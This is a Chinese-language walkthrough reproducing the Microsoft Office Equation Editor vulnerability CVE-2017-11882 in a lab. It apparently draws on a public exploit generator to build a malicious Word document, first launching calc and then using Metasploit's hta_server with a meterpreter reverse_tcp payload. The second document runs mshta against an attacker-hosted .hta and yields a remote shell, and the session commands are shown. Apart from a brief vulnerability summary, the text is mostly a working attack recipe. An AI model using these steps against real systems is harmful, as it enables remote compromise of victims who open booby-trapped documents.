Office漏洞复现CVE-2017-11882
漏洞简介
CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。
2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本
| 事件属性名 | 作用 |
|---|---|
| 漏洞ID | CVE-2017-11882 |
| 漏洞名称 | Microsoft Office数学公式编辑器内存损坏漏洞 |
| 漏洞类型 | 远程代码执行 |
| 威胁类型 | 栈溢出 |
| 影响版本 | Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016 |
环境介绍
攻击:kali IP:192.168.31.14
受害者:windows7 IP:192.168.31.55 Microsoft Office2016版本
漏洞文件生成https://github.com/Ridter/CVE-2017-11882
EXP
下载地址https://github.com/Ridter/CVE-2017-11882
命令
1 | git clone https://github.com/Ridter/CVE-2017-11882 |
生成漏洞文件
进入目录cd CVE-2017-11882
下面生成的文件受害者就会执行是计算器
1 | python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc |
执行命令启动计算器
可以看见生成了一个test.doc的文件![]()
在目标windows7打开就启动计算器![]()
EXP 生成
hta 是 HTML 应用程序,大多数的 Windows 操作系统都支持 hta 文件执行,利用 mshta.exe 解析 .hta文件执行,这里的 .hta 文件可以是本地的也可以是可访问的远程主机上的
模块:use exploit/windows/misc/hta_server
木马模块:set payload windows/meterpreter/reverse_tcp
- 应为他默认就是用的
windows/meterpreter/reverse_tcp模块
指定web地址:set SRVHOST kali的IP
指定web端口:set SRVPORT 指定的端口
指定地址:set RHOST kali的IP
指定监听端口:set LPORT 监听端口
运行:exploit -j #-j是隐藏连接的意思
运行结果
可以看见地址是http://192.168.31.14:8090/bblVmviVL2gVIES.hta![]()
EXP 生成
下面地址就添加上面打开的web地址
1 | python Command109b_CVE-2017-11882.py -c "mshta http://192.168.31.14:8090/bblVmviVL2gVIES.hta" -o test.doc |
他会生成一个test.doc![]()
拿到win7系统打开test.doc一个shell就得到了
![]()
查看shell的id
1 | sessions -l |
![]()
进入shell
1 | sessions -i 1 |
进入shell后就可以你想操作的了![]()






